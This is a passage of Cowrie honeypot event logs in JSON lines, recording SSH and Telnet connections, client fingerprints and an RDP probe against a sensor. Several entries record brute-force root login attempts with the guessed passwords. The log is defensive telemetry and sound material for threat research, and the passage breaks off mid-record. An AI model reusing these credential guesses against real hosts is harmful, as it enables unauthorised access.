{"eventid":"cowrie.session.closed","duration":44.726043939590454,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:43:53.326192Z","src_ip":"192.119.13.58","session":"d005fca6f613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":53812,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfa914d8a495","protocol":"ssh","message":"New connection: 103.27.238.114:53812 (10.17.0.5:22) [session: cfa914d8a495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:00.444238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:00.454404Z","src_ip":"103.27.238.114","session":"cfa914d8a495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:00.715460Z","src_ip":"103.27.238.114","session":"cfa914d8a495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:01.497684Z","src_ip":"103.27.238.114","session":"cfa914d8a495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.17484188079834,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:02.150455Z","src_ip":"192.119.13.58","session":"97e3db1a01c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:02.761021Z","src_ip":"103.27.238.114","session":"cfa914d8a495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37576,"dst_ip":"10.17.0.5","dst_port":22,"session":"af84d1b59f0e","protocol":"ssh","message":"New connection: 193.37.70.224:37576 (10.17.0.5:22) [session: af84d1b59f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:07.333560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:07.338130Z","src_ip":"193.37.70.224","session":"af84d1b59f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:07.431263Z","src_ip":"193.37.70.224","session":"af84d1b59f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shurik","message":"login attempt [root/shurik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:07.709926Z","src_ip":"193.37.70.224","session":"af84d1b59f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:08.808330Z","src_ip":"193.37.70.224","session":"af84d1b59f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55336,"dst_ip":"10.17.0.5","dst_port":23,"session":"3150280aab79","protocol":"telnet","message":"New connection: 192.119.13.58:55336 (10.17.0.5:23) [session: 3150280aab79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:15.874218Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58110,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4bd5d989f1","protocol":"telnet","message":"New connection: 192.119.13.58:58110 (10.17.0.5:23) [session: 7e4bd5d989f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:17.133677Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":46280,"dst_ip":"10.17.0.5","dst_port":22,"session":"f049d3b21c6c","protocol":"ssh","message":"New connection: 103.149.170.125:46280 (10.17.0.5:22) [session: f049d3b21c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:24.192039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:24.195653Z","src_ip":"103.149.170.125","session":"f049d3b21c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:24.453857Z","src_ip":"103.149.170.125","session":"f049d3b21c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54878,"dst_ip":"159.203.135.109","dst_port":22,"session":"379749ffbdd9","protocol":"ssh","message":"New connection: 152.42.212.128:54878 (159.203.135.109:22) [session: 379749ffbdd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:25.146537Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:25.151583Z","src_ip":"152.42.212.128","session":"379749ffbdd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:25.155612Z","src_ip":"152.42.212.128","session":"379749ffbdd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andre","message":"login attempt [root/andre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:25.228890Z","src_ip":"103.149.170.125","session":"f049d3b21c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:26.488919Z","src_ip":"103.149.170.125","session":"f049d3b21c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41104,"dst_ip":"10.17.0.5","dst_port":23,"session":"9790d54396d5","protocol":"telnet","message":"New connection: 192.119.13.58:41104 (10.17.0.5:23) [session: 9790d54396d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:26.574144Z"}
{"eventid":"cowrie.session.closed","duration":8.782738447189331,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:35.356782Z","src_ip":"192.119.13.58","session":"9790d54396d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44250,"dst_ip":"10.17.0.5","dst_port":23,"session":"357265051357","protocol":"telnet","message":"New connection: 192.119.13.58:44250 (10.17.0.5:23) [session: 357265051357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:39.333358Z"}
{"eventid":"cowrie.session.closed","duration":38.040245056152344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:44:53.914354Z","src_ip":"192.119.13.58","session":"3150280aab79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.293572187423706,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:03.427171Z","src_ip":"192.119.13.58","session":"7e4bd5d989f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":60188,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef12927511d","protocol":"ssh","message":"New connection: 193.228.128.84:60188 (10.17.0.5:22) [session: 2ef12927511d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:12.144905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:12.149946Z","src_ip":"193.228.128.84","session":"2ef12927511d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:12.253300Z","src_ip":"193.228.128.84","session":"2ef12927511d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phone","message":"login attempt [root/phone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:12.567810Z","src_ip":"193.228.128.84","session":"2ef12927511d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.313632011413574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:12.646896Z","src_ip":"192.119.13.58","session":"357265051357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44296,"dst_ip":"10.17.0.5","dst_port":23,"session":"854f24cd7625","protocol":"telnet","message":"New connection: 192.119.13.58:44296 (10.17.0.5:23) [session: 854f24cd7625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:13.514062Z"}
{"eventid":"cowrie.session.closed","duration":0.005562543869018555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:13.519467Z","src_ip":"192.119.13.58","session":"854f24cd7625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:13.675241Z","src_ip":"193.228.128.84","session":"2ef12927511d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39674,"dst_ip":"10.17.0.5","dst_port":23,"session":"72157a14c57d","protocol":"telnet","message":"New connection: 192.119.13.58:39674 (10.17.0.5:23) [session: 72157a14c57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:24.848122Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53366,"dst_ip":"10.17.0.5","dst_port":23,"session":"487735cd8fed","protocol":"telnet","message":"New connection: 192.119.13.58:53366 (10.17.0.5:23) [session: 487735cd8fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:27.974643Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47870,"dst_ip":"10.17.0.5","dst_port":22,"session":"157983a60ccc","protocol":"ssh","message":"New connection: 103.172.78.219:47870 (10.17.0.5:22) [session: 157983a60ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:29.338539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:29.342664Z","src_ip":"103.172.78.219","session":"157983a60ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:29.605710Z","src_ip":"103.172.78.219","session":"157983a60ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2a3a4a5a","message":"login attempt [root/1a2a3a4a5a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:30.392864Z","src_ip":"103.172.78.219","session":"157983a60ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:31.657865Z","src_ip":"103.172.78.219","session":"157983a60ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42214,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a1461edff2f","protocol":"telnet","message":"New connection: 192.119.13.58:42214 (10.17.0.5:23) [session: 7a1461edff2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:49.289633Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50076,"dst_ip":"10.17.0.5","dst_port":23,"session":"e394850ce281","protocol":"telnet","message":"New connection: 192.119.13.58:50076 (10.17.0.5:23) [session: e394850ce281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:51.559656Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42806,"dst_ip":"10.17.0.5","dst_port":23,"session":"c22efd65f0e9","protocol":"telnet","message":"New connection: 192.119.13.58:42806 (10.17.0.5:23) [session: c22efd65f0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:45:56.733675Z"}
{"eventid":"cowrie.session.closed","duration":36.22291159629822,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:01.070743Z","src_ip":"192.119.13.58","session":"72157a14c57d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.79405355453491,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:10.768604Z","src_ip":"192.119.13.58","session":"487735cd8fed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05184984207153,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:24.341353Z","src_ip":"192.119.13.58","session":"7a1461edff2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.651132583618164,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:30.384715Z","src_ip":"192.119.13.58","session":"c22efd65f0e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.357970237731934,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:34.917527Z","src_ip":"192.119.13.58","session":"e394850ce281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50282,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e648abaeeee","protocol":"telnet","message":"New connection: 192.119.13.58:50282 (10.17.0.5:23) [session: 6e648abaeeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:36.493083Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52928,"dst_ip":"10.17.0.5","dst_port":23,"session":"35e7c555578f","protocol":"telnet","message":"New connection: 192.119.13.58:52928 (10.17.0.5:23) [session: 35e7c555578f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:37.183552Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45160,"dst_ip":"10.17.0.5","dst_port":23,"session":"95f6a652aae5","protocol":"telnet","message":"New connection: 192.119.13.58:45160 (10.17.0.5:23) [session: 95f6a652aae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:43.062864Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":36374,"dst_ip":"159.203.135.109","dst_port":22,"session":"676eadb7a773","protocol":"ssh","message":"New connection: 37.233.85.71:36374 (159.203.135.109:22) [session: 676eadb7a773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:53.609796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:46:53.614353Z","src_ip":"37.233.85.71","session":"676eadb7a773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nis